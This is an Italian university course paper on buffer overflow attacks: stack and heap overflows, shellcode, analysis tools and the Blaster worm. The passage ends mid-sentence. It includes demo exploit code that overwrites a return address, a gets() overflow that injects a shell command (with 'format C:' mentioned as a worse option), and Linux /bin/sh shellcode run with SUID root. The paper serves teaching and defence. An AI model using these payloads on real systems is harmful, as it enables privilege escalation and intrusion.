Attacchi alle applicazioni basati su buffer overflow
1. Università di Catania - Corso di laurea in Ingegneria Informatica
Sicurezza nei Sistemi Informativi A.A. 2005/2006
Attacchi alle applicazioni basati su
Buffer Overflow
Fazio Giacomo Antonino
2. 1. Introduzione
Il buffer overflow (spesso abbreviato in BOF) è una delle tecniche più avanzate di hacking del
software. Tutto nasce da un difetto che può caratterizzare un determinato software e, se utilizzato a
dovere, può agevolare l'accesso a qualsiasi sistema che utilizza il software in questione. Spesso,
infatti, si sente parlare di “exploit”, ossia metodi ad hoc che utilizzano le vulnerabilità scoperte in
questo o in quel software e che permettono all’utilizzatore di acquisire privilegi che non gli spettano
(ad esempio i tanto agognati privilegi di root) o di portare al “denial of service” del computer
attaccato. Molti di questi exploit utilizzano per i loro scopi buffer overflow.
Questo tipo di debolezza dei programmi è noto da molto tempo, ma solo di recente la sua
conoscenza si è diffusa tanto da permettere anche a dei cracker dilettanti di sfruttarla per bloccare o
prendere il controllo di altri computer collegati in rete.
In poche parole, il buffer overflow consiste nel fornire al programma più dati di quanto esso si
aspetti di ricevere, facendo in modo che una parte di questi dati vadano scritti in zone di memoria
dove ci sono, o dovrebbero esserci, altri dati (da ciò il nome, che letteralmente significa “Trabocco
dell’area di memoria”).
Ad esempio, un programma definisce due variabili: una stringa A di 8 byte e un intero B di 2 byte.
A è inizializzata con soli caratteri ‘0’ (ognuno dei quali occupa 1 byte, dunque sono 8 caratteri),
mentre B contiene il numero 3.
A A A A A A A A B B
0 0 0 0 0 0 0 0 0 3
Adesso supponiamo che sia previsto un inserimento della stringa A da parte dell’utente, ma che non
si effettui un controllo sulla lunghezza dell’input inserito. In questo caso, i problemi si hanno se si
prova ad inserire una stringa più lunga di 8 caratteri, che è lo spazio riservato nel buffer. Se ad
esempio inseriamo la stringa “excessive”, essa occuperà 9 caratteri più il carattere di fine stringa,
quindi la porzione di memoria successiva, che era occupata da B, verrà irrimediabilmente
sovrascritta. La situazione sarà la seguente:
A A A A A A A A B B
'e' 'x' 'c' 'e' 's' 's' 'i' 'v' 'e' 0
A questo punto, se si prova a leggere l’intero che ci dovrebbe essere in B, un sistema big-endian che
utilizza l’ASCII, leggerà ‘e’ seguita dallo ‘0’ come 25856. Se invece provassimo a scrivere una
stringa ancora più lunga, essa invaderebbe anche l’area di memoria che si trova dopo di B, causando
un errore di segmentation fault con la seguente terminazione forzata del processo.
Tutto questo capita tipicamente nei sistemi operativi o nei programmi scritti nei linguaggi Assembly
o C, usando funzioni di libreria di input/output che non fanno controlli sulle dimensioni dei dati
trasferiti.
Questo semplice esempio ci aiuta a capire di cosa è capace un buffer overflow: a seconda di cosa è
stato sovrascritto e con quali valori, il programma può dare risultati errati o imprevedibili, bloccarsi,
o (se è un driver di sistema o lo stesso sistema operativo) bloccare il computer.
Non tutti i programmi sono vulnerabili a questo tipo di inconveniente, perché un dato programma
sia a rischio è necessario che:
1. il programma preveda l'input di dati di lunghezza variabile e non nota a priori;
2
3. 2. che li immagazzini entro buffer allocati nel suo spazio di memoria dati vicini ad altre
strutture dati vitali per il programma stesso;
3. che il programmatore non abbia implementato alcun mezzo di controllo della correttezza
dell'input in corso.
La prima condizione è facilmente verificabile dalle specifiche del programma; le altre due invece
sono interne ad esso e riguardano la sua completezza in senso teorico.
2. Tipi di buffer overflow
Esistono diversi modi per portare avanti un buffer overflow. I più importanti sono:
2.1 Arithmetic Overflow
Questo tipo di overflow è ottenuto quando il risultato prodotto da un calcolo è più grande delle
spazio che dovrebbe contenerlo. Possiamo spiegarlo facilmente mediante un esempio. Avviamo la
calcolatrice di Windows scegliendo la modalità scientifica dal menu, scriviamo ‘-1’ e premiamo su
‘Hex’. Vedremo così il valore esadecimale di -1, che è ‘FFFFFFFFFFFFFFFF’. Il problema nasce
premendo ‘Dec’: ci aspetteremmo di rivedere il nostro ‘-1’, ma invece otteniamo il valore
‘18446744073709551615’ e ciò è dovuto al fatto che la calcolatrice ha cambiato il valore da
“signed” a “unsigned”. Questo esempio serve a dimostrare che anche i programmatori potrebbero
compiere lo stesso errore, trasformando un numero negativo in un numero elevatissimo che
potrebbe creare un buffer overflow.
2.2 Buffer Overflow basati sulla memoria
Si tratta degli attacchi di buffer overflow più noti e dannosi e generalmente vengono distinti in base
all’area di memoria che vanno a interessare, in quanto sono possibili buffer overflow su tutte le aree
di memoria su cui è possibile scrivere. Spesso è sufficiente un solo byte che vada al di là dello
spazio assegnato, per rendere possibile un exploit. Quelli più diffusi sono i buffer overflow “di
heap” e “di stack”, dato che si tratta delle aree di memoria più colpite. Di essi si parlerà
diffusamente in seguito, non prima di aver fatto un rapido excursus sulla struttura della memoria e
sul comportamento del processore in occasione dell’esecuzione di un programma, argomenti
sicuramente propedeutici alla comprensione dei buffer overflow.
3. Struttura della memoria e comportamento del
processore durante l’esecuzione di un programma
Quando eseguiamo un programma, esso verrà caricato in memoria in maniera ben strutturata
creando diverse zone:
1. .TEXT, che contiene il codice del programma in esecuzione ed è di sola lettura, infatti se si
tentasse di scriverci sopra si incorrerebbe in un errore di Segmentation Fault;
2. zona dati, che contiene le variabili globali, sia inizializzate (contenute in una regione detta
.DATA) che non inizializzate (contenute in una regione detta .BSS);
3. HEAP, generalmente posto dopo la zona dati, in cui vengono memorizzate le variabili
allocate dinamicamente;
4. STACK, che contiene le variabili locali, gli argomenti delle funzioni, le informazioni di
stato del chiamante (ad esempio il contenuto di alcuni registri della CPU), l’indirizzo di
ritorno necessario per poter ritornare dalla funzione corrente e altre informazioni.
Naturalmente questi spazi non sono illimitati, bensì hanno una determinata lunghezza, dunque
anche le variabili che vi verranno allocate dovranno rispettare tale lunghezza. In particolare, come si
3
4. può vedere dalla seguente figura esemplificativa, lo heap e lo stack crescono in maniera diversa: il
primo cresce verso l’alto, il secondo verso il basso.
Si tenga presente che stiamo prendendo in considerazione l’architettura Intel e che lo stack ha una
direzione che può variare a seconda del sistema operativo utilizzato, ma ciò non influenza la
comprensione degli argomenti trattati.
Per quanto riguarda lo stack, qualcosa in più merita di essere specificata: esso è organizzato a pila,
nel senso che l’ultimo dato inserito è il primo ad essere letto (LIFO, Last In Last Out); in Assembly
esistono dei comandi (push e pop) che permettono rispettivamente di inserire e di prelevare valori in
cima allo stack. Man mano che i dati vengono scritti nello stack, esso cresce verso il basso, quindi
va da indirizzi di memoria alti ad indirizzi di memoria bassi. Se si cerca di effettuare una operazione
di pop prima dell’inizio dello stack si ha un “buffer underflow”, se invece si effettuare
un’operazione di push al di là dello stack si incorre in un “buffer overflow”.
Anche il processore è interessato dall’esecuzione del programma, in particolare lo sono alcuni suoi
registri, strettamente legati alla situazione della memoria durante l’esecuzione:
EBP, che è il puntatore alla base dello stack e, nel caso stiamo eseguendo una funzione, punta
alla base della porzione di stack utilizzata da essa;
ESP, tramite il quale possiamo scorrere tutto lo stack per inserire o prelevare dati da un punto
ben preciso di esso;
EIP, che punta alla prossima istruzione che la CPU dovrà eseguire dopo quella corrente.
Per comprendere a fondo come questi registri e la memoria siano interessati dall’esecuzione del
programma, osserviamone uno molto semplice, che chiamiamo example.c
#include <stdio.h>
void example(int, int, int);
main() {
example(0,1,2);
}
void example(int a, int b, int c) {
int i=4;
char[] buffer="hello";
}
4
5. Il programma chiama la funzione example passandogli gli interi 0,1 e 2. La funzione si occupa di
creare e assegnare la variabile i e la stringa buffer.
Compiliamo il programma con uno dei numerosi compilatori C che si trovano in rete (io ho usato
Dev C++) e poi disassembliamo l’eseguibile ottenuto example.exe con un disassembler, per
esempio Disasm di Sang Cho. Chiaramente il codice macchina ottenuto è molto più lungo del
codice C e sono presenti un gran numero di istruzioni dal significato molto poco intuitivo, ma non è
difficile individuare quelle che ci interessano:
:0040121E 6A02 push 002
:00401220 6A01 push 001
:00401222 6A00 push 000
:00401224 E80B000000 call 00401234
:00401229 83C410 add esp, 010
:0040122C C9 leave
:0040122D C3 ret
:0040122E 68 65 6C 6C 6F 00 ;;n "hello"
=========
:00401234 55 push ebp
:00401235 89E5 mov ebp, esp
:00401237 83EC28 sub esp, 028
:0040123A C745FC04000000 mov dword[ebp-04], 00000004
:00401241 8D45E0 lea eax, dword[ebp-20]
:00401244 8B152E124000 mov edx, dword[0040122E]
(StringData)"hello"
:0040124A 8955E0 mov dword[ebp-20], edx
:0040124D 0FB70532124000 movzx eax, word[00401232]
:00401254 668945E4 mov word[ebp-1C], ax
:00401258 C9 leave
:00401259 C3 ret
Le prime tre istruzioni sono tre operazioni di push, che inseriscono i valori 2, 1 e 0 nello stack (sono
i tre parametri della funzione example, inseriti sullo stack in ordine inverso), successivamente si ha
una CALL, utilizzata per chiamare la funzione example, infatti si salta all’indirizzo 00401234. Da
notare che, ogni qualvolta bisogna fare una CALL, quindi anche in questo caso, il processore salva
il valore attuale di EIP nello stack e poi lo modifica per effettuare un salto incondizionato alla
funzione, in modo da poterlo ripristinare al termine della funzione, per poter riprendere l’esecuzione
dall’istruzione successiva alla chiamata.
Siamo all’interno della funzione: per prima cosa EBP viene salvato sullo stack, in EBP viene
memorizzato il valore di ESP (cioè l’inizio dello stack per la funzione) e viene sottratto a ESP lo
spazio necessario per le variabili con una operazione di SUB. Le istruzioni successive riguardano
l’allocazione e l’assegnazione delle variabili i e buff, inserite nello stack seguendo come sempre la
modalità LIFO. Lo stack, quindi, in questo momento si presenta pressappoco così:
5
6. Alla fine, mediante l’istruzione LEAVE, i registri EBP e ESP riacquisiscono i valori che avevano
prima di chiamare la CALL e, mediante l’istruzione RET, si ritorna alla funzione principale
utilizzando l’indirizzo di ritorno presente nello stack.
4. Buffer Overflow di Stack
Come abbiamo detto precedentemente, il BOF si ha quando le variabili non rispettano lo spazio a
loro assegnato e vanno a scrivere anche lo spazio al di là di esso, sovrascrivendo i dati
precedentemente contenuti. In particolare questo tipo di BOF è quello in assoluto più diffuso e
interessa lo stack. Ne esistono diverse varianti, è possibile comunque trovare in tutte delle
similitudini, che riguardano in primis lo scopo finale, che è sempre quello di sovvertire la funzione
del programma per direzionarlo secondo i propri scopi. Se il programma è sufficientemente
privilegiato (ad esempio di tipo SUID), è possibile ottenere il controllo dell’host, generalmente
attivando una shell locale, mediante la quale, con i privilegi di root, è praticamente possibile
effettuare qualsiasi cosa. Per ottenere un BOF, sono necessari due passi principali:
1) Fare in modo che il codice che ci interessa sia nell’address space del programma
2) Fare in modo che il programma salti ad esso e lo esegua.
Questi due passi sono comunque in stretta correlazione, dato che se inseriamo il codice senza
eseguirlo non abbiamo concluso nulla.
4.1 Fare in modo che il codice sia nell’address space del programma
Per effettuare l’inserimento del codice, ci sono due modi:
1) Inserirlo manualmente (Code injection): il programma chiede in input una stringa, che
verrà inserita dall’attaccante in modo da contenere istruzioni per la CPU. Questa stringa
verrà inserita in un determinato buffer, senza necessità di effettuare l’overflow. In poche
parole, abbiamo salvato il codice di attacco in un buffer;
2) Il codice si trova già lì: il codice che ci serve è già presente, bisogna solo parametrizzarlo a
dovere. Ad esempio, se si ha in UNIX il codice exec(arg) con arg puntatore ad una stringa,
basta fare in modo che arg punti a /bin/sh per avere una shell in locale.
4.2 Fare in modo che il programma salti al codice di attacco e lo esegua
Per ottenere ciò ci sono diversi modi, ma lo scopo di base è quello di effettuare l’overflow di un
buffer che non ha controlli sui confini (o se ci sono, sono molto deboli), in modo da corrompere
un’area adiacente. I principali tipi sono:
Activation Records: si tratta della tipologia più diffusa, nota in genere con la frase “Smashing
the stack”. Si utilizza all’interno di una funzione e consiste nell’effettuare l’overflow di un
buffer, con lo scopo di arrivare a sovrascrivere l’EIP, cioè l’indirizzo di ritorno della funzione.
Se esso fosse sovrascritto per sbaglio, o con codice a caso, si avrebbe semplicemente un errore
di Segmentation Fault, ma se invece esso è sovrascritto con un indirizzo realmente esistente, il
risultato è che si salta alla locazione da esso indicato e si esegue il codice lì presente. Pensiamo
a cosa succede se questo indirizzo indica la locazione del codice di attacco…
Puntatori a funzioni: bisogna trovare un buffer vicino ad un puntatore a funzione. Effettuando
l’overflow del buffer, viene corrotto anche il puntatore e si fa in modo che esso punti alla
locazione del codice di attacco. Questo tipo di BOF può riguardare non solo lo stack, ma anche
lo heap e le altre aree della memoria su cui è possibile scrivere.
Longjmp buffers: sfrutta un meccanismo presente in C che consente di salvare lo stato
(checkpoint) di un buffer mediante il comando setjmp(buffer) e di ripristinarlo in seguito
(rollback) in caso di bisogno mediante il comando longjmp(buffer). Come per i puntatori a
funzioni, se abbiamo un buffer adiacente di cui è possibile effettuare l’overflow, potremmo
6
7. corrompere anche lo stato del buffer di checkpoint in modo che, non appena viene chiamato il
comando longjmp, si salta alla locazione del codice di attacco.
4.3 Combinare i due passi precedenti
Come abbiamo detto precedentemente, i due passi precedenti sono collegati tra loro, quindi vanno
utilizzati insieme.
Spesso l’inserimento del codice di attacco e la sua esecuzione sono effettuati in una volta sola: basta
trovare un buffer di cui sia possibile fare l’overflow e che si trovi in prossimità dell’EIP, inserire
una stringa opportuna contenente il codice di attacco che effettui l’overflow del buffer e modifichi
l’EIP. In questo modo abbiamo fatto sia la code injection che l’activation record.
Comunque non per forza le due fasi devono avvenire simultaneamente. È possibile ad esempio che
il buffer del caso precedente non abbia lo spazio necessario per contenere tutto il codice di attacco,
dunque è necessario fare la code injection in un altro buffer di dimensione sufficiente e
successivamente utilizzare il buffer vicino l’EIP solo per corrompere quest’ultimo realizzando
l’activation record.
Se non è necessario effettuare la code injection perché il codice è già presente, bisogna, come
spiegato sopra, parametrizzare il codice presente in modo da fargli eseguire ciò che si vuole e poi
effettuare l’overflow del buffer vicino l’EIP per far puntare quest’ultimo al codice parametrizzato.
4.4 Lo Shellcode
Lo shellcode è un pezzo di codice macchina eseguito per sfruttare una vulnerabilità. Si tratta spesso
di un codice che svolge un compito altamente specifico, che è verificato dal primo all’ultimo byte,
perché anche un byte fuori posto potrebbe portare al crash dell’applicazione da “exploitare” o alla
corruzione della memoria con il conseguente non funzionamento dell’applicazione; ciò potrebbe
comportare il riavvio della macchina, che potrebbe avvenire dopo un tempo non proprio breve
(soprattutto per quanto riguarda gli ambienti industriali) oppure l’amministratore potrebbe indagare
sul crash dell’applicazione e scaricare di conseguenza l’upgrade che magari va a sistemare la falla
della versione precedente. Questo porterebbe al completo fallimento del piano di attacco. Ecco
perché lo shellcode deve sempre essere un codice preciso e valutato nei minimi dettagli.
Una caratteristica importante dello shellcode è l’assoluta mancanza di portabilità tra i diversi
sistemi. La maggior parte degli shellcode implementati, per documentare i quali esistono centinaia
di testi in rete, sono realizzati per UNIX, in quanto le API di Windows complicano la creazione di
shellcode per questo sistema operativo, anche se oggi la situazione sta cambiando rapidamente,
grazie a testi specifici come “The Tao of Windows Buffer Overflow” o a shellcode come il “plug
and play” shellcode.
4.5 Esempi di Buffer Overflow di Stack
Come abbiamo detto, il BOF di stack può essere portato avanti in molti modi, vediamone un paio
molto semplici.
Programma 1
Si tratta di un programma C che mostra un esempio di buffer overflow che utilizza la funzione
gets(), notoriamente pericolosa in quanto non controlla se la stringa immessa dall’utente è più lunga
del buffer che dovrà contenerla. Proprio questo causa il buffer overflow che va a corrompere la
variabile successiva, che contiene un comando da eseguire. Quindi, inserendo in input un’apposita
stringa, sarà possibile eseguire praticamente qualsiasi comando. L’esempio è stato realizzato in
ambiente Windows, ma sarebbe la stessa cosa in Linux, in quanto cambierebbero solo gli indirizzi
ma non la sostanza.
7
8. #include <stdio.h>
void example();
char *p;
int i;
main () {
example();
}
void example() {
char command[10]="calc";
char name[10];
printf("Inserisci un nome da dare a questo script ");
gets(name);
printf("Premere un tasto per eseguire il comando");
getchar();
p=&name[0]+25;
for (i=30;i>=0;i--) {
printf("n %p = %c",p,*p);
p=p-1;
}
system(command);
}
Il programma non fa altro che chiamare la funzione example(), la quale alloca dinamicamente la
variabile command con valore calc, che rappresenta il comando che vogliamo eseguire (la semplice
calcolatrice di Windows). Successivamente viene allocata dinamicamente la variabile name, in cui
vogliamo inserire un nome da dare allo script, cosa che viene fatta richiamando la funzione gets().
In questo momento lo stack (solo la parte relativa alla nostra funzione) si presenta pressappoco in
questo modo:
La restante parte serve per farci capire cosa sta succedendo in memoria, infatti ci mostra
un’istantanea dello stack, in linea con lo schema mostrato sopra, cioè mostrando in alto gli indirizzi
alti e in basso quelli bassi. Essa ci sarà utile nel momento in cui effettueremo l’overflow, per capire
cosa effettivamente è accaduto in memoria. In particolare, in questa sezione utilizziamo le due
variabili i e p, dichiarate come globali affinché si trovino fuori dallo stack della funzione example().
8
9. Alla fine verrà lanciato sul sistema il comando command, che normalmente è la calcolatrice.
Se compiliamo il programma con un compilatore C e lo mandiamo in esecuzione, ci verrà subito
chiesto di dare un nome allo script. Inseriamo inizialmente la scritta hello, che rientra perfettamente
nei limiti. Infatti il programma verrà eseguito perfettamente: ci verranno mostrati gli indirizzi della
memoria e si avvierà la calcolatrice. Le due variabili si trovano entrambe nello stack. Come è
possibile vedere anche dallo screenshot successivo, l’output ci mostra lo stack, notare la variabile
name (che contiene la stringa hello) che si trova in testa allo stack e sotto la variabile command (che
contiene la stringa calc) ed è separata da essa.
Se a questo punto proviamo a rimandare in esecuzione il programma, inserendo invece di hello la
stringa xxxxxxxxxxxxxxxxxxxx, essa riempie il buffer di 10 caratteri a disposizione e poi sovrascrive
quello che c’è dopo, arrivando a sovrascrivere anche la variabile command, che adesso conterrà il
valore xxxx. Infatti, invece di avviare la calcolatrice, ci viene restituito un messaggio che ci dice che
xxxx è un comando sconosciuto. Se però, invece di xxxx, in command ci fosse stato un comando
realmente esistente, esso sarebbe andato in esecuzione. Per verificare ciò, inseriamo ad esempio la
stringa xxxxxxxxxxxxxxxxcmd, il risultato sarà una shell di sistema in locale. Potremmo inserire
anche altri comandi, con risultati ben peggiori… In questo esempio, in particolare, possiamo
inserire, invece di cmd, qualsiasi comando di lunghezza fino a 10 lettere, dato che la variabile
command è stata dichiarata in questo modo:
char command[10]="calc";
Se invece fosse stata dichiarata in quest’altro modo:
char command[]="calc";
sarebbe stato possibile inserire comandi di massimo 4 lettere. Quindi basta poco per causare danni
di portata incalcolabile, nel primo caso il comando potrebbe anche essere format C:…
9
10. Programma 2
Questo programma è realizzato in C come il primo, ma l’ho testato su un sistema Linux, in
particolare sulla distribuzione Suse Linux 10.0. Si tratta di un ottimo esempio di activation records,
in quanto viene sovrascritto l’indirizzo di ritorno di una funzione con l’indirizzo di un’altra
funzione che si vuole eseguire e che dovrebbe contenere il codice di attacco. Il programma
principale è contenuto nel file prog1.c:
#include <stdio.h>
void function ();
void function () {
printf("Ci sei riuscito!!!!nn");
exit(0);
}
main (int argc, char *argv[]) {
char var[10];
strcpy(var,argv[1]);
}
Il programma non fa altro che prendere una stringa in ingresso e inserirla all’interno della variabile
var, utilizzando la funzione strcpy(), anch’essa pericolosa perché non effettua controlli sui confini
del buffer di destinazione. La funzione function() non viene mai chiamata dal programma. Il nostro
obiettivo sarà quello di causare un buffer overflow, inserendo in ingresso una stringa più lunga dei
10 caratteri a disposizione e di sostituire l’indirizzo di ritorno di main() con quello della funzione
function(), in modo che essa venga eseguita. Per fare ciò dobbiamo fare un po’ di prove.
10
11. Cominciamo ad inserire tante x, vediamo che dalla 14a in poi, il programma va in Segmentation
Fault. A questo punto avviamo il disassembler gdb (presente nei sistemi operativi Unix), dandogli
come programma da disassemblare il nostro prog1 (gdb prog1) e disassembliamo la funzione
function():
Vediamo che l’indirizzo di inizio della funzione function() è 0x08048438. Se in pratica riusciamo a
fare in modo che il 15° elemento della stringa che diamo in input a prog1 sia questo indirizzo, il
programma salterà alla funzione function() e avremo centrato l’obiettivo. Come fare a passargli
l’indirizzo? Esso infatti è scritto in caratteri esadecimali e non ASCII. Scriviamo un piccolo exploit,
contenuto nel programma exploit.c, che si occupa di convertire in ASCII e di passare al programma
l’indirizzo da noi inserito in esadecimale.
#include <stdio.h>
main () {
char buf[31],lancia[35];
int i;
for (i=0; i<14; i++) {
buf[i]= 'x';
}
*(long *)&buf[14]=0x08048438;
strcpy(lancia,"/home/giacomo/bof/prog1 ");
strcat(lancia,buf);
system(lancia);
}
Questo programma si occupa di lanciare il comando prog1 seguito da 14 caratteri x e dall’indirizzo
della funzione function(). Il risultato sarà il seguente:
Ci siamo riusciti!
11
12. Diamo un ulteriore tocco stilistico al nostro exploit, eliminando il ciclo for e inserendo l’argomento
di prog1 tutto in esadecimale:
#include <stdio.h>
main () {
char buf[31],lancia[35];
buf="x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x08x04x84x38";
strcpy(lancia,"/home/giacomo/bof/prog1 ");
strcat(lancia,buf);
system(lancia);
}
5. Buffer Overflow di Heap
I BOF di Heap sono chiamati così perché interessano l’area di memoria detta Heap, che contiene le
variabili allocate dinamicamente. Lo heap è diverso dallo stack, in quanto quest’area di memoria
rimane allocata finchè non è esplicitamente liberata, quindi un buffer overflow può essere effettuato
ed essere notato solo in seguito, quando l’area è effettivamente utilizzata. Non esiste il concetto di
EIP, ma ci sono altri concetti importanti che possono essere sfruttati per ottenere buffer overflow.
Questo tipo di BOF è noto ed è sfruttato da molto tempo, ma se ne parla sempre meno di quello di
stack, soprattutto perché è molto più difficile da sfruttare rispetto a quest’ultimo. Comunque non
deve essere sottovalutato, perché si tratta di un BOF che può essere estremamente pericoloso e per
il quale esistono diverse tecniche, che possono portare a diverse conseguenze. Le tecniche più note
sono le seguenti:
Attacchi basati su malloc() e funzioni simili: le funzioni dei vari linguaggi di programmazione
interessate a questo tipo di BOF sono chiaramente quelle utilizzate per l’allocazione dinamica
delle variabili, ad esempio malloc() di C, HeapAlloc() di Windows e new() di C++. I blocchi di
heap allocati da queste variabili (in figura vediamo malloc()), sono generalmente vicini e, dato
che non ci sono controlli, è molto semplice inserire nello spazio di A più di 10 elementi e far sì
che vadano a sovrascrivere B e volendo anche C.
12
13. La stessa cosa può accadere con l’area di memoria BSS, che è l’area che contiene i dati non
inizializzati. Anche qui, infatti, quando inizializziamo questi dati, potremmo inserire più dati
dello spazio a disposizione, causando un overflow con conseguente sovrascrittura degli spazi
adiacenti.
Esistono diverse implementazioni di questo tipo di attacco, in genere fortemente architecture
dependent. Ad esempio, uno dei più noti è quello che sfrutta le vulnerabilità della funzione
malloc() di Unix, che si basa sulla versione di Doug Lea. In questa implementazione, esistono
alcuni bit che possono essere “exploitati”, in particolare la macro unlink() contenuta nella
funzione free(). L’exploit può avvenire in due diverse modalità, chiamate “forward
consolidation” e “backward consolidation”.
In sostanza, qual è l’obiettivo di questo tipo di BOF? Lo scopo è quello di causare l’overflow di
un buffer A in modo da scrivere sul buffer adiacente B il codice di attacco; in questo modo,
quando il programma tenterà di usare i dati contenuti in B, eseguirà invece il codice di attacco.
Se ad esempio in memoria è presente un valore di autenticazione, chi attacca può modificarlo
per diventare un utente privilegiato, oppure può cambiare alcuni flag in memoria per causare un
flusso di esecuzione del programma completamente diverso da quello normale.
Attacchi basati sulla sovrascrittura di puntatori: lo scopo di questi attacchi è quello di
effettuare l’overflow di un buffer adiacente ad un puntatore in modo da corrompere
quest’ultimo e farlo puntare a qualche altra locazione… La figura esemplifica quanto detto:
Si tratta di un tipo di attacco estremamente portabile; inoltre, può interessare anche l’area di
memoria BSS.
Attacchi basati su puntatori a funzioni: come nel caso dei BOF di stack, anche qui abbiamo
questa tipologia di attacco, dato che i puntatori possono trovarsi non solo nello stack, ma anche
nello heap (e anche nell’area BSS). L’obiettivo è quello di effettuare l’overflow di un buffer
vicino ad un puntatore in modo da corrompere quest’ultimo e farlo puntare alla locazione dove è
stato inserito il codice di attacco. La figura seguente esemplifica quanto detto:
13
14. Per concludere questo paragrafo, vediamo un esempio di buffer overflow di heap:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
int *ret;
char *shellcode = (char*)malloc(64);
sprintf(shellcode,
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh");
*((int*)&ret+2) = (int)shellcode;
return 0;
}
Il programma appartiene all’utente root ma è impostato il bit SUID, che consente a chiunque di
eseguirlo con privilegi di root.
In particolare, il programma alloca una parte di memoria nello heap e vi copia dentro lo shellcode.
Subito dopo l’indirizzo di ritorno del main è sovrascritto dall’indirizzo dello shellcode, in modo che
quando il main ritorna, fornisce una shell.
6. Alla ricerca di buffer overflow
Abbiamo visto le più comuni tipologie di buffer overflow. Bisogna comunque tenere conto del fatto
che gli esempi finora visti sono scritti per puro scopo didattico, in quanto non troveremo in giro
programmi così, pronti per essere sfruttati per accedere al sistema di turno. Chi attacca
generalmente non prova a casaccio, analizza il codice del programma (se il programma è open
source il lavoro è notevolmente semplificato) alla ricerca di vulnerabilità da sfruttare, o aspetta che
sia qualcun altro a farlo; quando poi si sa che la versione x del programma y è affetta da una certa
vulnerabilità, allora è il momento di creare l’exploit che permetta di utilizzarla (appunto per questo
è bene scaricare sempre le patch per i nostri programmi). Lo scopo di questi programmi è quindi
quello di permettere la comprensione di cosa sono e come funzionano i diversi tipi di buffer
overflow, in modo da assumere in fase di programmazione un atteggiamento più responsabile e più
rivolto alla sicurezza. Inoltre sarà possibile analizzare i propri programmi alla ricerca di
vulnerabilità, prima che qualcuno le ricerchi al posto nostro e le sfrutti. Questa analisi può essere
fatta a diversi livelli, per ognuno dei quali esistono dei tool appositi. Vediamo quali:
Lexical static code analyzers: generalmente questi tool analizzano il codice confrontandolo
con un set di “cattivi” modelli, ad esempio la funzione gets(). Questi tool possono essere
semplici come grep o più complessi come RATS e Flawfinder.
Semantic static code analyzers: questi tool si differenziano da quelli precedenti perché in più
considerano anche il contesto in cui ci si trova e generalmente emettono i loro messaggi sotto
forma di warning. Anche i warning dati dai compilatori possono essere considerati di questo
tipo.
Artificial intelligence or learning engines for static source code analysis: questi tool
analizzano il codice utilizzando diversi metodi, spesso combinazioni di identificazione sia
lessicale che semantica. Inoltre è presente un sistema di apprendimento che migliora via via le
analisi effettuate. Un esempio è il programma Application Defense Developer.
14
15. Dynamic program tracers: si tratta di tool che analizzano il programma a runtime e, tra le altre
cose, sono in grado di individuare BOF di vario tipo. Un esempio è il programma Rational
Purify.
Black box testing with fault injection and stress testing, a.k.a. fuzzing: il Fuzzing è una
tecnica mediante la quale si prova a dare al programma molti tipi di input, diversi tra loro in
struttura e dimensioni, in modo da vedere come il programma si comporta. È possibile stabilire
come devono essere questi input di prova.
Reverse engineering: si tratta di decompilare il codice binario in assembly o, se possibile, in un
linguaggio di alto livello, in modo da studiarlo in modo più semplice.
Bug-specific binary auditing: analizza il programma compilato con una tecnica euristica,
cercando di trovare eventuali buffer overflow. Si può considerare come un’analisi lessicale e
semantica, ma portata avanti sul codice assembly. Un esempio è Bugscan.
7. Blaster: un worm costruito su un buffer overflow
Blaster è un worm che si diffuse sui computer con sistema operativo Microsoft Windows XP e
Windows 2000 durante il mese di agosto 2003. I primi computer infetti dal worm furono rilevati
l’11 Agosto e l’infezione si diffuse con una velocità spaventosa (nonostante il worm fosse filtrato
da molti ISP), fino a raggiungere il picco il 13 Agosto, con circa 120.000 macchine infettate. Il
grafico sottostante ci dà un’idea più concreta della diffusione del worm.
Ciò era dovuto al fatto che Blaster sfruttava una grossa vulnerabilità presente nei suddetti sistemi
operativi per potersi replicare indisturbato e contagiare altri computer in rete. L’obiettivo finale non
era però causare la mera infezione dei computer, bensì quello di lanciare un attacco DDoS
(Distributed Denial of Service, una variante del DoS in cui più macchine in modo distribuito
attaccano la stessa destinazione) contro la porta 80 del sito windowsupdate.com nel giorno 16
Agosto, cosa che riuscì, ma che non creò grossi problemi a Microsoft, dato che il sito in questione
era rediretto al sito windowsupdate.microsoft.com (il vero Windows Update), quindi a Microsoft
bastò disattivare temporaneamente il sito bersaglio.
Quindi l’obiettivo principale era proprio quello di colpire e screditare il colosso Microsoft, infatti ad
un’attenta analisi del codice del virus, sono stati scoperti due messaggi in stringhe nascoste: “I just
want to say LOVE YOU SAN!!” (da cui Lovesan, il secondo nome con cui è noto Blaster) e “billy
15
16. gates why do you make this possible ? Stop making money and fix your software!!” (cioè un chiaro
messaggio contro Bill Gates che rappresenta la Microsoft).
Il worm, a causa anche della sua rapida diffusione, causò danni gravi a svariate aziende e il blocco
di diversi servizi in tutto il mondo, provocando danni per oltre 3 milioni di dollari.
Epilogo della vicenda: il 20 Agosto fu arrestato Jeffrey Lee Parson, un 18enne di una cittadina del
Minnesota (USA) che fu condannato a 18 mesi di carcere e a un cospicuo risarcimento alle aziende
danneggiate. Ma analizziamo più da vicino la struttura e il comportamento del worm.
Come abbiamo detto, Blaster si sviluppa su una falla presente nei sistemi operativi Windows XP e
Windows 2000; in realtà la falla è presente anche in Windows 2003 Server e Windows NT, ma il
worm non è stato progettato per riprodursi in questi sistemi. In particolare si tratta di una
vulnerabilità descritta da Microsoft stessa nel Microsoft Security Bulletin MS03-026, nel quale
viene sottolineata la pericolosità del problema e viene proposta una patch da installare per
rimediare. Microsoft specifica che si tratta di una falla nell’interfaccia RPC (Remote Procedure
Call) di un oggetto DCOM (Distributed Component Object Model): DCOM è una tecnologia che
abilita componenti software che non si trovano sulla stessa macchina a comunicare direttamente
utilizzando una rete; RPC è un protocollo usato da Windows (derivato da OSF RPC, ma modificato
da Microsoft) per la comunicazione e la richiesta di servizi tra le due parti di software, permettendo
ad un programma che gira su un certo computer di eseguire codice su un sistema remoto. Affinché
questa comunicazione sia possibile, bisogna effettuare le richieste in un determinato modo. Il
problema nasce quando queste richieste vengono invece effettuate in maniera errata, infatti,
l’interfaccia RPC dell’oggetto DCOM sul sistema remoto non controlla opportunamente le
dimensioni dei messaggi ricevuti in input. Dunque un malintenzionato potrebbe sfruttare la falla
